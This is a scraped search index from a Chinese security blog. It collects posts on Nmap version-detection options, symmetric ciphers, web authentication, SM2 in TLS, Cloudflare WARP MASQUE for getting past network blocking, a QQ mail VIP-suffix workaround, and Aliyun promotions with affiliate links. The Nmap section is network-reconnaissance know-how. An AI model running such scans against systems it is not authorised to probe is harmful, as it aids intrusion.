扫描。其次进行服务识别，发送探针报文，得到返回确认值，确认服务。最后进行版本识别，发送探针报文，得到返回的报文信息，分析得出服务的版本。\n可以使用以下选项打开和控制版本检测:\n-sV（版本探测）：打开版本探测。也可以用 - A 同时打开操作系统探测和服务发现。\n-osscan-guess: 这是 Nmap 的猜测功能选项，猜测认为最接近目标的匹配操作系统类型。\n--allports（不为版本探测排除任何端口）：通常，Nmap 在进行版本探测时不会对目标的全部端口进行扫描，而是会跳过一些端口，例如端口号为 9100 的 TCP 端口。如果对这个端口进行扫描，而目标又恰好是一台打印机的话，这台打印机就有可能会将所有的数据都打印出来。如果确实有必要的话，也可以使用–allports 扫描所有的端口。\n--version-intensity \u0026lt;intensity\u0026gt;（设置版本扫描强度）：当进行版本扫描 (-sV) 时，Nmap 发送一系列探测报文，每个报文都被赋予一个 1 到 9 之间的值。这里的强度水平说明了应该使用哪些探测报文。数值越高，服务越有可能被正确识别。然而，高强度扫描花更多时间。强度值必须在 0 和 9 之间。默认是 7。\n--version-light（打开轻量级模式）：–version-light 其实就相当于–version-intensity 2。这种轻量级模式使版本扫描速度快了许多，不过使用这种模式对服务进行扫描成功的几率也小一些。\n--version-all（尝试每个探测）：–version-all 其实就相当于 version-intensity 9，保证对每个端口尝试所有探测报文。\n--version-trace（跟踪版本扫描活动）这将会使 Nmap 打印出关于正在进行的扫描的详细调试信息。它是你用–packet-trace 所得到的信息的子集。\n-sR（RPC 扫描）这种方法和许多端口扫描方法联合使用。它对所有被发现开放的 TCP/UDP 端口执行 SunRPC 程序 NULL 命令，试图确定它们是否 RPC 端口，如果是，可以确定是什么程序和版本号。\n参考书籍:\n诸神之眼, 李华峰 ","permalink":"https://www.clearsec.org/posts/read/nmap-%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0/","summary":"\u003ch1 id=\"1-基本操作\"\u003e1 基本操作\u003c/h1\u003e\n\u003cp\u003e使用 nmap 最简单的方式就是在命令行中输入 nmap 和 \u0026lt;目标 IP 地址\u0026gt;，例如：\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cdiv style=\"color:#e5e5e5;background-color:#000;-moz-tab-size:4;-o-tab-size:4;tab-size:4;\"\u003e\n\u003ctable style=\"border-spacing:0;padding:0;margin:0;border:0;\"\u003e\u003ctr\u003e\u003ctd style=\"vertical-align:top;padding:0;margin:0;border:0;\"\u003e\n\u003cpre tabindex=\"0\" style=\"color:#e5e5e5;background-color:#000;-moz-tab-size:4;-o-tab-size:4;tab-size:4;\"\u003e\u003ccode\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#727272\"\u003e1\n\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/td\u003e\n\u003ctd style=\"vertical-align:top;padding:0;margin:0;border:0;;width:100%\"\u003e\n\u003cpre tabindex=\"0\" style=\"color:#e5e5e5;background-color:#000;-moz-tab-size:4;-o-tab-size:4;tab-size:4;\"\u003e\u003ccode class=\"language-fallback\" data-lang=\"fallback\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003enmap 192.168.10.20\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/table\u003e\n\u003c/div\u003e\n\u003c/div\u003e\u003ch1 id=\"2-扫描范围的确定\"\u003e2 扫描范围的确定\u003c/h1\u003e\n\u003ch2 id=\"21-对连续范围内的主机进行扫描\"\u003e2.1 对连续范围内的主机进行扫描\u003c/h2\u003e\n\u003chr\u003e\n\u003cp\u003e输入如下命令来选择扫描范围为 192.168.10.1～192.168.10.254 的主机:\u003c/p\u003e","title":"Nmap 的基本操作指南"},{"content":"对称加密算法总结 DES有效密钥长度56位。\n3DES当k1与k3相同（一般情况下），密钥长度为56*2=112位。其他两种情况密钥可能为56、168.\n以上五种，仅RC4/5为流加密算法，加密速度快。其余都是分组加密\nDES加密过程（S盒） 输出的行 为输入的首位和末位的拼接 对应的十进制\n输出的列 为输入的余下位 对应的十进制\n3DES有效密钥 E加密**encryption**\nD解密**decode**\n","permalink":"https://www.clearsec.org/posts/tech/%E8%AF%AD%E9%9B%80%E9%98%B2%E7%9B%97%E9%93%BE%E6%B5%8B%E8%AF%95/","summary":"\u003ch3 id=\"对称加密算法总结\"\u003e对称加密算法总结\u003c/h3\u003e\n\u003cp\u003e\u003cimg loading=\"lazy\" src=\"https://cdn.nlark.com/yuque/0/2024/png/1786108/1726493441764-96fcc6a7-feb1-48e2-9f33-bd9217a33ede.png\"\u003e\u003c/p\u003e\n\u003cp\u003e\u003cstrong\u003e\u003cfont style=\"color:#01B2BC;\"\u003eDES有效密钥长度56位。\u003c/font\u003e\u003c/strong\u003e\u003c/p\u003e\n\u003cp\u003e\u003cfont style=\"color:#4861E0;\"\u003e3DES当k1与k3相同（一般情况下），密钥长度为56*2=112位。\u003c/font\u003e其他两种情况密钥可能为56、168.\u003c/p\u003e\n\u003cp\u003e以上五种，仅\u003cfont style=\"color:#4861E0;\"\u003eRC4/5为流加密算法，加密速度快。\u003c/font\u003e\u003cfont style=\"color:#DF2A3F;\"\u003e其余都是分组加密\u003c/font\u003e\u003c/p\u003e\n\u003ch3 id=\"des加密过程s盒\"\u003eDES加密过程（S盒）\u003c/h3\u003e\n\u003cp\u003e\u003cimg loading=\"lazy\" src=\"https://cdn.nlark.com/yuque/0/2024/png/1786108/1728115142036-a8b2d0ee-cddf-469b-9304-498fc5d977f3.png\"\u003e\u003c/p\u003e\n\u003cp\u003e输出的行 为输入的首位和末位的拼接 对应的十进制\u003c/p\u003e\n\u003cp\u003e输出的列 为输入的余下位 对应的十进制\u003c/p\u003e\n\u003ch3 id=\"3des有效密钥\"\u003e3DES有效密钥\u003c/h3\u003e\n\u003cp\u003e\u003cimg loading=\"lazy\" src=\"https://cdn.nlark.com/yuque/0/2024/png/1786108/1728118168364-53e43e8a-64a1-44b7-b476-e9fe2462ec9e.png\"\u003e\u003c/p\u003e\n\u003cp\u003eE加密**\u003cfont style=\"color:rgb(90, 117, 224);\"\u003eencryption\u003c/font\u003e**\u003cbr\u003e\nD解密**\u003cfont style=\"color:rgb(90, 117, 224);\"\u003edecode\u003c/font\u003e**\u003c/p\u003e","title":"语雀防盗链测试"},{"content":"网站应用中的身份鉴别主要是为了确保用户的身份合法性，并在传输和存储过程中保证鉴别信息的完整性和保密性。以下是网站应用进行身份鉴别的一般流程以及常用技术：\n1. 身份鉴别的流程 典型的身份鉴别流程如下：\n用户登录请求：用户通过输入用户名和密码发起登录请求。 服务器验证：服务器收到请求后，验证用户凭证的合法性（通常是比对数据库中存储的加密密码）。 生成会话令牌：验证通过后，服务器生成一个会话令牌（Session Token）并分配给用户，允许其访问受保护的资源。 持续鉴别：用户在会话期间通过每次请求附带会话令牌来证明身份。 2. 身份鉴别常用技术 为了实现可靠的身份鉴别，通常使用以下技术：\n1. 密码加密 存储加密：服务器端不会直接存储明文密码，而是使用安全的哈希算法（如SM3、SHA-256）对密码进行不可逆加密，通常还会加盐（salt）以防止彩虹表攻击。 盐值加密（Salting）：通过在密码中加入随机的盐值，可以进一步增强密码的安全性，防止相同密码生成相同的哈希值。 传输加密：为了防止用户密码在网络传输过程中被截获，登录页面通常通过SSL/TLS协议进行加密传输。 2. 基于令牌的身份验证（Token-based Authentication） JWT（JSON Web Token）：JWT是目前常用的身份鉴别技术，它将用户身份信息以加密的形式存储在令牌中，用户每次请求时附带该令牌，服务器通过验证令牌确保身份合法性。JWT通常使用非对称加密算法（如RSA或SM2）进行签名，确保令牌的完整性。 OAuth 2.0：用于第三方授权的开放标准协议，用户通过第三方（如Google、Facebook）登录时，网站通过OAuth获取授权令牌来验证用户身份。OAuth确保在传输过程中授权信息的安全性。 3. 多因素身份验证（MFA, Multi-Factor Authentication） 双因素认证（2FA）：在用户名和密码基础上，还要求用户提供额外的验证信息，如短信验证码、一次性密码（TOTP）、生物识别（指纹或面部识别）等。这种方式增加了身份验证的安全性，即使密码泄露，攻击者也难以通过认证。 生物识别：指纹、面部识别、声纹等生物特征识别，可以作为第二重或第三重身份验证手段。 4. 会话管理 Session Token：服务器在用户登录成功后生成的会话令牌，通过Cookie或HTTP Header附加到每次请求中，用于身份验证。Session信息通常会加密并且设置超时时间，以防止会话劫持。 HTTPS：会话令牌通过HTTPS传输，避免在网络上被劫持。 3. 保护鉴别信息的完整性和保密性 在身份鉴别过程中，必须确保用户凭证在传输和存储时的安全性，防止信息泄露或篡改。常用技术包括：\n1. 传输层安全协议（SSL/TLS） SSL/TLS：用于加密用户与服务器之间的通信，确保用户凭证和敏感数据（如密码、身份令牌）不会在网络传输过程中被拦截或窃取。 证书验证：通过CA（证书颁发机构）颁发的数字证书，确保用户与服务器的连接是可信的。 加密算法：TLS支持多种对称和非对称加密算法（如AES、SM4、RSA、SM2），可以保障数据传输的安全性。 2. 哈希函数 哈希密码存储：哈希函数（如SM3、SHA-256）用于生成密码的摘要值，以便在数据库中进行安全存储，避免存储明文密码。 加盐哈希：通过在密码前后加盐值来生成唯一的哈希，避免密码相同的用户生成相同的哈希值，防止彩虹表攻击。 3. 非对称加密 公钥加密（如SM2、RSA）：在身份验证和密钥交换过程中，公钥加密算法用于加密敏感信息（如密码或身份令牌），确保只有拥有私钥的一方可以解密和访问这些信息。 数字签名：服务器可以使用数字签名（例如JWT的签名部分）确保传输过程中数据没有被篡改，保证信息的完整性。 4. 常见的安全风险及防范措施 中间人攻击（MITM）：通过使用SSL/TLS加密通信并验证服务器证书，防止攻击者在用户与服务器之间篡改或截取数据。 重放攻击：可以通过使用时间戳或随机数（如Nonce）来防止攻击者重放用户的认证请求。 SQL注入攻击：在验证用户身份时，必须对用户输入的参数进行严格的过滤和转义，以防止SQL注入攻击。 会话劫持：通过启用HTTPS、设置HttpOnly和Secure属性的Cookie、设置会话超时等措施来防止会话劫持。 5. 实际应用案例 电商网站：用户在电商网站中登录时，密码通过TLS加密发送，服务器使用哈希（如SM3）和加盐技术存储密码。登录成功后生成JWT令牌用于后续的请求验证。 金融系统：用户登录时，通常需要多因素身份验证（如短信验证码）。传输层使用TLS进行加密，敏感信息通过SM2加密确保机密性。 社交媒体：使用OAuth 2.0授权用户通过第三方登录，简化了身份验证的流程，同时确保数据传输和验证过程的安全。 总结 网站应用中身份鉴别通过使用密码加密、基于令牌的验证、SSL/TLS传输加密、多因素认证等技术确保用户身份的合法性，并且通过哈希、非对称加密等技术保障鉴别信息在传输和存储过程中的完整性和保密性。这些技术有效地防范了各种常见的攻击，确保了身份验证的安全性。\n","permalink":"https://www.clearsec.org/posts/tech/%E7%BD%91%E7%AB%99%E5%BA%94%E7%94%A8%E8%BF%9B%E8%A1%8C%E8%BA%AB%E4%BB%BD%E9%89%B4%E5%88%AB%E7%9A%84%E4%B8%80%E8%88%AC%E6%B5%81%E7%A8%8B%E4%BB%A5%E5%8F%8A%E5%B8%B8%E7%94%A8%E6%8A%80%E6%9C%AF/","summary":"\u003cp\u003e网站应用中的身份鉴别主要是为了确保用户的身份合法性，并在传输和存储过程中保证鉴别信息的完整性和保密性。以下是网站应用进行身份鉴别的一般流程以及常用技术：\u003c/p\u003e","title":"Web身份鉴别常用技术"},{"content":"SM2在TLS协议中的应用主要是作为非对称加密算法，用于TLS握手阶段的密钥交换和数字签名。TLS协议通常会结合多种加密技术来保护通信的安全，SM2作为中国商用密码算法标准之一，常被用于国产加密场景下的TLS实现。\n以下是SM2在TLS协议中的具体应用场景：\n0.定义与作用 TLS加密（Transport Layer Security）\n定义：TLS是一种通信协议，它定义了加密数据的方式和顺序，用于保护计算机网络中的通信安全。它工作在传输层，常用于网页浏览、电子邮件传输和其他网络应用。TLS协议可以对通信内容进行加密、验证身份和确保数据完整性。\n加密机制：TLS协议并不依赖于某种单一的加密算法，它使用的是一个混合加密系统。在握手阶段，TLS协议使用非对称加密（如RSA或SM2）进行密钥交换，之后使用对称加密（如AES或SM4）来加密传输的数据。整个加密过程还包括哈希算法（如SHA或SM3）来保证数据的完整性。 主要作用：保护数据在网络传输过程中的安全，防止数据被窃取、篡改或伪造。应用包括HTTPS、电子邮件（SMTP、IMAP、POP3）、VPN……\nSM2加密\n定义：SM2是一种基于椭圆曲线的非对称加密算法，是中国国家密码管理局发布的商用密码标准之一。它用于公钥加密、数字签名和密钥交换。\n主要作用：提供加密、签名和密钥交换功能，用于保护数据的机密性、验证发送者身份和防止数据篡改。应用包括数字证书、密钥交换、数字签名。\n公钥加密：使用接收方的公钥对数据加密，接收方用自己的私钥解密。 数字签名：用发送方的私钥生成签名，接收方用发送方的公钥验证签名，以确认数据的真实性。 密钥交换：用于在不安全的通信信道中交换对称加密密钥，确保双方通信的安全。 1. TLS握手阶段中的密钥交换 在TLS握手过程中，客户端和服务器之间需要建立一个安全的通信通道。为了实现这个目标，必须在握手过程中安全地交换会话密钥。密钥交换可以通过多种非对称加密算法完成，如传统的RSA、ECDHE等。在中国的国密标准中，SM2被用于替代RSA或ECDHE算法进行密钥交换。\nSM2密钥交换流程：\n客户端生成随机数并加密：客户端首先生成一个随机数，并使用服务器的SM2公钥对这个随机数进行加密。 服务器解密并生成共享密钥：服务器使用自己的SM2私钥解密客户端发送的随机数。随后，服务器也生成一个随机数，并与客户端的随机数结合生成一个对称密钥（通常是SM4的会话密钥）。 双方确认对称密钥：双方都通过SM2公钥加密和解密完成随机数交换，并使用它们生成的会话密钥用于后续的对称加密通信。 总结：SM2在TLS握手过程中替代RSA或ECDHE，负责安全地进行密钥交换，确保双方能够安全共享会话密钥（例如SM4密钥）以加密后续通信数据。\n2. TLS握手中的数字签名 数字签名是TLS握手的一个重要步骤，用于确保通信双方的身份是可信的。服务器通过数字签名来证明其身份，防止中间人攻击。\nSM2数字签名在TLS中的应用：\n服务器发送证书：服务器向客户端发送包含SM2公钥的数字证书。数字证书通常由权威的证书颁发机构（CA）签名，客户端通过验证这个签名来确认服务器身份。 服务器签名数据：在握手过程中，服务器会使用自己的SM2私钥对一些协商的握手数据进行签名，客户端则使用服务器的SM2公钥来验证签名。 客户端验证服务器身份：客户端通过验证签名来确保服务器确实是它声称的实体，防止中间人冒充服务器。 总结：SM2数字签名在TLS协议中用于身份验证，服务器通过SM2私钥对信息进行签名，客户端通过SM2公钥来验证签名，从而确认通信的合法性。\n3. 会话密钥的加密和传输 在握手过程中生成的会话密钥（通常是SM4密钥）需要通过安全的方式进行加密和传输。在国产TLS协议中，SM2用于加密会话密钥，以确保会话密钥在传输过程中不会被第三方截取或破解。\n流程：\n客户端生成会话密钥：客户端生成一个会话密钥（SM4密钥），并使用服务器的SM2公钥对其进行加密。 服务器解密会话密钥：服务器使用自己的SM2私钥解密会话密钥，并用于后续通信的加密。 总结：SM2在TLS握手中的会话密钥加密环节起到了确保密钥传输安全的作用，使用非对称加密技术保护会话密钥在传输过程中的机密性。\n4. 国密SSL/TLS（GM/T 0024标准） 中国在TLS的基础上发展出了国密版本的SSL/TLS协议，其中的加密算法都基于国密算法族，如SM2、SM3和SM4。这个标准明确规定了在TLS协议中的加密、签名和哈希算法的使用：\nSM2：用于握手阶段的密钥交换和数字签名。 SM3：用于生成消息摘要，确保数据完整性。 SM4：作为对称加密算法，使用会话密钥加密数据。 总结：在国密版本的TLS协议中，SM2在握手过程中扮演了密钥交换和数字签名的双重角色（公钥加密），确保数据传输的机密性、完整性和双方身份的真实性（身份认证）。SM3作为哈希算法，适合在数据完整性验证、数字签名和密码存储中使用，尤其适合区块链等需要大量数据处理的场景。SM4作为对称加密算法，适用于需要快速高效加密的数据传输和存储，如通信、数据库和设备加密。\n特性 SM2 SM3 SM4 算法类型 非对称加密 哈希算法 对称加密 功能 加密、签名、密钥交换 消息摘要、数据完整性验证 数据加密、解密 密钥长度 256位椭圆曲线 不适用 128位 安全性 安全性高，相当于3072位RSA 优于MD5、SHA-1，类似SHA-256 相当于AES-128，安全性高 性能 相对较高，适合密钥交换等场景 轻量级，适合大规模数据处理 高效，适用于大数据量的加密 主要应用场景 数字签名、密钥交换、电子认证 数据完整性、密码存储、区块链 数据加密、无线通信、设备加密 5. 安全性优势 高效性：SM2基于椭圆曲线密码学（ECC），与传统的RSA相比，SM2能在更小的密钥长度下提供更高的安全性。它的256位密钥可以提供相当于3072位RSA密钥的安全性，具有计算效率高、通信开销小的特点。 国密标准合规：SM2是中国自主研发的商用密码算法，符合国家密码管理局的标准，确保在国产系统和应用中使用时具有合规性和高安全性。 6. SM2在TLS协议中的典型应用场景 电子政务：政府系统中的安全通信需要确保通信双方的身份合法性和数据传输的机密性，国密TLS协议基于SM2来实现这些功能。 金融支付：金融系统中的敏感数据传输需要高安全性，SM2在TLS中的应用可确保交易过程中密钥交换和数字签名的安全。 企业级应用：企业内部或对外提供的敏感数据传输（如VPN连接、文件传输）可以通过使用SM2的TLS握手来保护数据。 总结 SM2在TLS协议中的应用主要集中在握手阶段的密钥交换和数字签名，通过SM2公钥加密和私钥解密来完成安全的密钥交换，并通过SM2签名验证来确保通信双方的身份合法性。SM2结合其他国密算法（如SM3和SM4）构建了一个完整的国产安全通信体系，用于保障数据传输的机密性、完整性和身份认证。\n","permalink":"https://www.clearsec.org/posts/tech/sm2%E5%9C%A8tls%E5%8D%8F%E8%AE%AE%E4%B8%AD%E7%9A%84%E5%BA%94%E7%94%A8/","summary":"\u003cp\u003eSM2在TLS协议中的应用主要是作为非对称加密算法，用于TLS握手阶段的密钥交换和数字签名。TLS协议通常会结合多种加密技术来保护通信的安全，SM2作为中国商用密码算法标准之一，常被用于国产加密场景下的TLS实现。\u003c/p\u003e","title":"SM2在TLS协议中的应用"},{"content":"零信任 WARP：使用 MASQUE 建立隧道 官方博客：https://blog.cloudflare.com/zero-trust-warp-with-a-masque/ WARP在2019年推出时使用WireGuard协议建立加密信道，但是非标准流量可能会被阻止，有时是故意的，有时不是。这造成了该服务在中国大陆完全不可用，后来WARP在灰度测试QUIC协议，效果是你在建立连接时使用其他工具访问全球网络后可以关闭其他工具并使用WARP保持全球网络连接。 cloudflare正在为 WARP 构建一个新协议 MASQUE。MASQUE 是一种引人入胜的协议，它扩展了 HTTP/3 的功能，并利用 QUIC 传输协议的独特属性来有效地代理 IP 和 UDP 流量，而不会牺牲性能或隐私。WARP 流量看起来像 HTTPS，以避免被防火墙检测和阻止，而相当多的客户还需要符合 FIPS 的加密。 而2024年9月，基于MASQUE的WARP开始测试上线，你可以在测试版应用中手动切换到这个协议。 使用该协议后，你可以在大陆地区不受网络封锁地访问全球网络。\n如何使用？ 注册账号 首先你需要一个cloudflare账号，推荐通过Zero Trust使用WARP。 网页：https://one.dash.cloudflare.com/ 好处显而易见：无限的免费流量，免费版团队最高达50个用户，可自定义配置文件/构建网络，可以使用Cloudflare 中国网络资源*。 缺点也是存在的：Zero Trust需要验证除银联外任意卡组织的信用卡，这可能是一个门槛。 *2024年9月实测可用，IP显示的是Cloudflare中国网络内的资源，不清楚未来是否进行封禁。\n下载WARP客户端 网页：https://one.one.one.one/ Tips：安卓用户需要在play商店中加入测试版。\nZero Trust 用户启用 MASQUE 协议 除了需要在客户端登录Zero Trust外，还需要在 Cloudflare 控制台中配置 MASQUE 协议。以下是详细的步骤：\n登录 Zero Trust 后台 登录 Cloudflare Zero Trust 控制台。 在左侧导航栏中，进入 Settings 选项，并点击 WARP Client。\n启用 MASQUE 协议 在 Device settings 栏目的 Default 配置文件下，点击 更多选项 \u0026gt; Configure。 在 Device Tunnel Protocol 设置中，选择 MASQUE 协议。 滑动至页面底部，点击 Save Profile 保存设置。 完成这些步骤后，Zero Trust 用户的设备将开始通过 MASQUE 协议进行网络连接，确保企业网络环境的安全和高效。\n再说点什么 WARP Zero Trust 并不会帮助你解锁地域限制内容、但目前他们会向你访问的网站隐藏你的 IP 地址。 如果您正在寻找那种高安全性的保护，那么传统的 VPN 或 Tor 之类的服务可能是更好的选择。\n","permalink":"https://www.clearsec.org/posts/tech/cloudflare%E4%B8%AD%E5%9B%BD%E7%BD%91%E7%BB%9C%E4%B8%8Emasque%E5%8D%8F%E8%AE%AE/","summary":"\u003ch2 id=\"零信任-warp使用-masque-建立隧道\"\u003e零信任 WARP：使用 MASQUE 建立隧道\u003c/h2\u003e\n\u003cp\u003e官方博客：https://blog.cloudflare.com/zero-trust-warp-with-a-masque/\nWARP在2019年推出时使用WireGuard协议建立加密信道，但是非标准流量可能会被阻止，有时是故意的，有时不是。这造成了该服务在中国大陆完全不可用，后来WARP在灰度测试QUIC协议，效果是你在建立连接时使用其他工具访问全球网络后可以关闭其他工具并使用WARP保持全球网络连接。\ncloudflare正在为 WARP 构建一个新协议 MASQUE。MASQUE 是一种引人入胜的协议，它扩展了 HTTP/3 的功能，并利用 QUIC 传输协议的独特属性来有效地代理 IP 和 UDP 流量，而不会牺牲性能或隐私。WARP 流量看起来像 HTTPS，以避免被防火墙检测和阻止，而相当多的客户还需要符合 FIPS 的加密。\n而2024年9月，基于MASQUE的WARP开始测试上线，你可以在测试版应用中手动切换到这个协议。\n使用该协议后，你可以在大陆地区不受网络封锁地访问全球网络。\u003c/p\u003e","title":"Cloudflare中国网络与MASQUE协议"},{"content":"QQ邮箱的“一邮多名”服务是一项允许用户在一个邮箱账户下创建多个别名邮箱地址的功能。这意味着用户可以使用不同的邮箱地址，但这些邮件最终都会汇集到同一个QQ邮箱中，方便管理和使用。以下是“一邮多名”服务的一些特点：\n创建多个别名邮箱地址：用户可以在主邮箱地址的基础上，生成不同的别名地址，比如用不同的名称或后缀来区分工作、学习、购物等场景。\n收件统一管理：通过不同的别名邮箱地址接收到的邮件，都会汇总到主QQ邮箱中，不需要登录多个邮箱账户即可查看所有邮件。\n个性化管理：可以根据邮件别名地址设置不同的分类或标签，帮助用户更好地分类管理不同来源的邮件。\n适用于隐私保护：在不同场景下使用别名邮箱地址，可以避免公开主邮箱地址，减少垃圾邮件或信息泄露的风险。\n设置简单：用户可以通过QQ邮箱的设置界面轻松添加或删除别名邮箱。\n目前QQ邮箱支持@qq.com,@qq.vip.com,@foxmail.com,其中@qq.vip.com在2023年10月23日之后从QQ超级会员权益改成了邮箱会员权益（邮箱会员25元/月，腾讯真有你的）。\n这几个后缀有什么用呢?@foxmail.com更正式，@qq.vip.com可以设置更简短的用户名，而这些简短的用户名在@qq.com和@foxmail.com这两个体系里面都是被官方保留所以不能设置的。 但其实QQ会员原有的权益页没有下线，不知道是不是腾讯太懒，所以应该权益还是可以用的。（只不过入口藏起来了）\n这代表着你不能在QQ邮箱的设置页添加VIP后缀，因为他会直接跳转到邮箱会员的页面让你打钱。\n其实在QQ邮箱安全中心可以直接设置@vip.qq.com后缀（无需邮箱会员，但需要QQ会员），地址如下： https://wx.mail.qq.com/account\n如果登录后没有跳转，那么登录后再点击如上连接就能进入。\n点击进去在账号设置-账号管理-VIP邮箱直接设置就好了。\n如果你不知道起什么英文名，可以去我上一篇文章找一些灵感。\n","permalink":"https://www.clearsec.org/posts/tech/%E8%AE%BE%E7%BD%AE%E9%82%AE%E7%AE%B1%E7%9F%AD%E7%94%A8%E6%88%B7%E5%90%8D%E4%B8%8D%E8%B4%AD%E4%B9%B0qq%E9%82%AE%E7%AE%B1vip%E5%BC%80%E9%80%9Avip%E9%82%AE%E7%AE%B1%E5%90%8E%E7%BC%80/","summary":"\u003cp\u003eQQ邮箱的“一邮多名”服务是一项允许用户在一个邮箱账户下创建多个别名邮箱地址的功能。这意味着用户可以使用不同的邮箱地址，但这些邮件最终都会汇集到同一个QQ邮箱中，方便管理和使用。以下是“一邮多名”服务的一些特点：\u003c/p\u003e","title":"设置邮箱短用户名|开通VIP邮箱后缀"},{"content":"如何获得阿里云最新的活动消息？\n阿里云任务中心，这是阿里云官方运营的活动列表，包含体验类和评测类等类型活动，是最新的消息源。 钉钉群，各个活动会有答疑钉钉群，在活动结束后运营会发其他活动，有些并不在阿里云任务中心里展示。 目前有条件可以不付费体验的活动： 一、通义灵码试用领帆布包，邀请新用户三人得马克杯 活动时间：2024 年 09 月 06 日 - 2024 年 09 月 30 日。 目标用户：通义灵码新用户 #AFF 活动链接 ：[通义灵码]( 开学第一课，通义灵码新同学体验有礼！ (aliyun.com)) 活动1：在活动页面报名并完成任务1和任务3（在IDE中安装通义灵码插件和登录并使用通义灵码）领帆布包，每天120个帆布包，活动参与人少，余额充裕。 活动2：邀请用户体验得奖品 最低门槛3人：纪念马克杯\n你可以得到：帆布袋。 我可以得到：不确定，已邀请一个，如果再有两个人通过邀请体验那么我可以得到马克杯。 如介意aff请删除taskCode及后面的参数，邀请将不会计入我的账号。\n二、云工开物高校300无门槛代金券 活动时间：长期活动 #AFF 活动链接 ：云工开物高校300无门槛代金券 目标用户：大中专院校学生，包含大一研一新生。\n完成学生认证后即可领券，提示：学生不要领券放二手平台卖掉，阿里云账号实名制，若出借账号产生法律风险（如被黑灰产拿去搭建非法网站），可能面临牢狱之灾。\n你可以得到：300元无门槛券，可以购买除域名和企业产品等绝大多数产品。 我可以得到：不确定，已邀请三个室友，如果再有2个人通过邀请领券那么我可以得到一个保温杯。 如介意aff请删除mobile及后面的参数，邀请将不会计入我的账号。\n三、使用 PAI × LLaMA Factory 微调 Llama3 模型实现角色扮演 活动时间：2024年9月30日18：00前 #AFF 活动链接 ： 使用 PAI × LLaMA Factory 微调 Llama3 模型实现角色扮演 目标用户： PAI-DSW 新老用户均可，新用户免费额度为：5000CU*H，领取后三个月内有效，可抵扣A10机型715小时或V100机型343小时，老用户自费大约7元。\n你可以得到：户外运动腰包，新用户有5000CU*H交互式建模GPU资源，可跑开源AI模型。 我可以得到：不确定，如果再有3个人通过邀请领腰包那么我可以得到一个雨伞。 如介意aff请删除taskCode及后面的参数，邀请将不会计入我的账号。\n","permalink":"https://www.clearsec.org/posts/tech/aliyun/","summary":"\u003cp\u003e如何获得阿里云最新的活动消息？\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://developer.aliyun.com/mission?source=5176.11533457\u0026amp;userCode=lwnkbv7n\"\u003e阿里云任务中心\u003c/a\u003e，这是阿里云官方运营的活动列表，包含体验类和评测类等类型活动，是最新的消息源。\u003c/li\u003e\n\u003cli\u003e钉钉群，各个活动会有答疑钉钉群，在活动结束后运营会发其他活动，有些并不在阿里云任务中心里展示。\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003e目前有条件可以不付费体验的活动：\n一、通义灵码试用领帆布包，邀请新用户三人得马克杯\n活动时间：2024 年 09 月 06 日 - 2024 年 09 月 30 日。\n目标用户：通义灵码新用户\n#AFF 活动链接  ：[通义灵码]( \u003ca href=\"https://developer.aliyun.com/topic/lingma/september?taskCode=18486\u0026amp;recordId=37adcdd422360db73c5d1f3679e505f2\u0026amp;userCode=lwnkbv7n\"\u003e开学第一课，通义灵码新同学体验有礼！ (aliyun.com)\u003c/a\u003e)\n活动1：在活动页面报名并完成任务1和任务3（在IDE中安装通义灵码插件和登录并使用通义灵码）领帆布包，每天120个帆布包，活动参与人少，余额充裕。\n活动2：邀请用户体验得奖品\n最低门槛3人：纪念马克杯\u003c/p\u003e","title":"Aliyun活动"},{"content":"零、阿里云学生三百元无门槛抵用金 这个无门槛神券来自云工开物计划，完成学生认证就有三百元无门槛抵用金，可以分多次使用。\n适用产品范围：阿里云全量公共云产品（特殊商品除外）\n使用说明：自领取之日起，1年内有效，如订单退款，优惠券不返还。\n\u0026laquo;\u0026lt;领取链接https://university.aliyun.com/mobile**\u0026raquo;\u0026gt;**\n点击上面邀请链接使用支付宝扫描验证就能领到三百元无门槛抵用金，几乎可以购买阿里云云上所有产品。\n高校学生通用权益面向所有中国高校学生开放，具体包括中国大陆及港澳台地区专科、本科、硕士、博士、在职研究生等高等教育学籍在内的在校学生人群，在此基础上，阿里云合作高校学生可再享受3折专属权益。\n壹、阿里云学生专属免费服务器 未参与过高校学生免费领取ECS活动的用户，通过学生身份认证及续费任务，最多可领取1+6个月免费ECS资源。初次申请免费时长只有1个月，在云服务器过期之前完成实验与认证任务，可以免费续费6个月，一共可以获得7个月的免费服务器使用。下面是具体申请步骤介绍：\n首先，进入ECS云服务器学生权益：https://developer.aliyun.com/plan/student 【24.9月更新】该活动持续四年，目前已下线。\n拖动网页中间\u0026gt;再选择【学生权益专区】，就可以看到学生云服务器了，如下图所示：\n这里我们可以看到，学生云服务器的配置是2核CPU、2G内存、1M带宽、40G ESSD Entry云盘，这个配置刚好可以满足大部分普通用户对云服务器的配置要求。\n如果我们还未完成学生的话，是无法领取学生云服务器，需要先点击“完成学生认证”进入学生实名认证，如下图所示：\n进入之后，根据提示完成学生认证即可。\n完成学生认证之后，再进入ECS云服务器学生权益即可申请免费学生云服务器。如果你需要获得6个月免费续领，在ECS实例过期前完成阿里云规定的任务，可免费续领6个月。\n相关规则介绍：\n一、活动对象：\n中国大陆学信网在籍高校学生包含高职、大专，本科，硕士，博士（不含自考），且年满15岁以上\n二、用户权益领取基本条件：\n学生权益领取（下述条件均需满足）\n①阿里云注册且个人实名认证用户 完成学生身份认证\n三、活动细则\n学生权益领取：\n中国大陆学信网在籍高校学生，需同时完成阿里云个人实名认证、学生身份认证，且两者信息一致，认证通过后，同一用户可免费领取1台云服务器ECS，①固定机型e系列vCPU2核，内存2G，②带宽1M，③ESSD 